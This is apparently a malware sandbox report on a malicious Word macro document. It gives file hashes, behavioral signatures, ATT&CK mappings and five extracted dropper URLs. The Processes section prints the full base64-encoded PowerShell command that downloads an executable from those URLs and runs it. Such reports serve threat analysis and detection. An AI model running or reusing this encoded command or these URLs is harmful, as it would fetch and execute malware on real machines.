Overview

overview

10

Static

static

8

SecuriteIn...00.doc

windows7_x64

10

SecuriteIn...00.doc

windows10_x64

10

Analysis

  • max time kernel
    144s
  • max time network
    21s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    01-08-2020 19:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.9920.3882.15200.doc

  • Size

    175KB

  • MD5

    0044ba776778e2f3ec800a96294ce8b3

  • SHA1

    0a3c6df795a29e3eef7ddf0aa2bfa03daf401e6e

  • SHA256

    7ef18f7b96100c4dc8a648050ff5c5995b2ba175593ecbdde9a2c66ddb0a5efe

  • SHA512

    d7ff746f87d9d43b5e104bebe979585de4a96d292bf3dfb057e8cc1a06298373bd762f7c18759c9f2cfd93abddc573d03c5baf3c0c62632b73dc7c418a0e4ded

Score
10/10
discovery

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://fastreadhotnews.com/assets/87nzy_l5_nsek/
exe.dropper

http://xycgsck.com/wp-admin/4ltp_6h_d6hcijri8/
exe.dropper

https://boulderinn.com/cgi-bin/710sj1hy96ynyfens7bm53a9h_7gpg2a_g1487pb/
exe.dropper

http://chcquimica.com.br/loja/qtbmmjrt14kd4ot_t9cfy83_g42n8ts6/
exe.dropper

http://gijsvanroij.nl/170101/cua5mnzjfcg8bi8esjju_ryiud_qjv2zcgixs/

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 5 IoCs
  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.9920.3882.15200.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:844
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAByAGUAaQB6AG4AZQBpAGcAYgBlAG8AYgBsAGEAaQBrAD0AJwB0AGgAbwB1AGMAcQB1AGkAZQB0AGMAbwBvAHAAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGMAYABVAFIASQBgAFQAWQBQAHIAbwBgAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAAgAD0AIAAnADkANwAyACcAOwAkAGQAbwB1AGsAdwBpAG8AYgBnAGUAZQBqAHcAZQB6AD0AJwB4AG8AZQBxAHUAbQBpAGUAdAAnADsAJABiAG8AaQB0AGgAYgBhAG8AbgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAArACcALgBlAHgAZQAnADsAJAB4AG8AaQB6AHQAaABlAGEAYwBoAG8AbwBrAD0AJwBzAG8AaQBzAGgAZQBlAGMAaABhAHoAcABlAG8AYwAnADsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABJAGUATgB0ADsAJABqAGkAYQBsAGQAbwB2AGoAZQBmAD0AJwBoAHQAdABwAHMAOgAvAC8AZgBhAHMAdAByAGUAYQBkAGgAbwB0AG4AZQB3AHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AOAA3AG4AegB5AF8AbAA1AF8AbgBzAGUAawAvACoAaAB0AHQAcAA6AC8ALwB4AHkAYwBnAHMAYwBrAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA0AGwAdABwAF8ANgBoAF8AZAA2AGgAYwBpAGoAcgBpADgALwAqAGgAdAB0AHAAcwA6AC8ALwBiAG8AdQBsAGQAZQByAGkAbgBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANwAxADAAcwBqADEAaAB5ADkANgB5AG4AeQBmAGUAbgBzADcAYgBtADUAMwBhADkAaABfADcAZwBwAGcAMgBhAF8AZwAxADQAOAA3AHAAYgAvACoAaAB0AHQAcAA6AC8ALwBjAGgAYwBxAHUAaQBtAGkAYwBhAC4AYwBvAG0ALgBiAHIALwBsAG8AagBhAC8AcQB0AGIAbQBtAGoAcgB0ADEANABrAGQANABvAHQAXwB0ADkAYwBmAHkAOAAzAF8AZwA0ADIAbgA4AHQAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAaQBqAHMAdgBhAG4AcgBvAGkAagAuAG4AbAAvADEANwAwADEAMAAxAC8AYwB1AGEANQBtAG4AegBqAGYAYwBnADgAYgBpADgAZQBzAGoAagB1AF8AcgB5AGkAdQBkAF8AcQBqAHYAMgB6AGMAZwBpAHgAcwAvACcALgAiAHMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAagBpAG8AZwB5AGUAdQBxAHUAdABhAGUAYgB6AGUAZQBsAD0AJwBtAGEAZgBqAGEAdQBnAHQAYQBlAGYAYgBlAG8AZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMAIABpAG4AIAAkAGoAaQBhAGwAZABvAHYAagBlAGYAKQB7AHQAcgB5AHsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AC4AIgBEAGAAbwBXAE4AbABPAEEAYABkAGYASQBsAEUAIgAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMALAAgACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAYwBvAHUAYwBoAHkAYQBvAHMAPQAnAHIAbwBlAHcAZgBhAG8AdAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAGIAbwBpAHQAaABiAGEAbwBuACkALgAiAEwAZQBuAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADkANgAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAYABUAGUAIgAoACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAZABvAGEAbAB5AHUAdQBqAGoAYQBuAGMAYQBvAHQAPQAnAG0AZQBhAGcAcQB1AGkAZQB0AGgAJwA7AGIAcgBlAGEAawA7ACQAZwBpAGUAcwByAG8AbwBuAGMAZQBpAHQAPQAnAGoAYQB1AGMAaABzAGEAZQBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHAAZQBpAHYAaAB1AGMAaABoAGEAbwBnAD0AJwBwAHUAYQB0AG0AaQBvAGoAJwA=
    1⤵
    • Drops file in System32 directory
    • Modifies system certificate store
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:1756

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

1
T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/844-2-0x0000000008A20000-0x0000000008A24000-memory.dmp
    Filesize

    16KB

    Download
  • memory/844-3-0x0000000006F60000-0x0000000007160000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/844-4-0x0000000006F60000-0x0000000007160000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/844-5-0x000000000AA60000-0x000000000AA64000-memory.dmp
    Filesize

    16KB

    Download
  • memory/844-6-0x000000000BAE0000-0x000000000BAE4000-memory.dmp
    Filesize

    16KB

    Download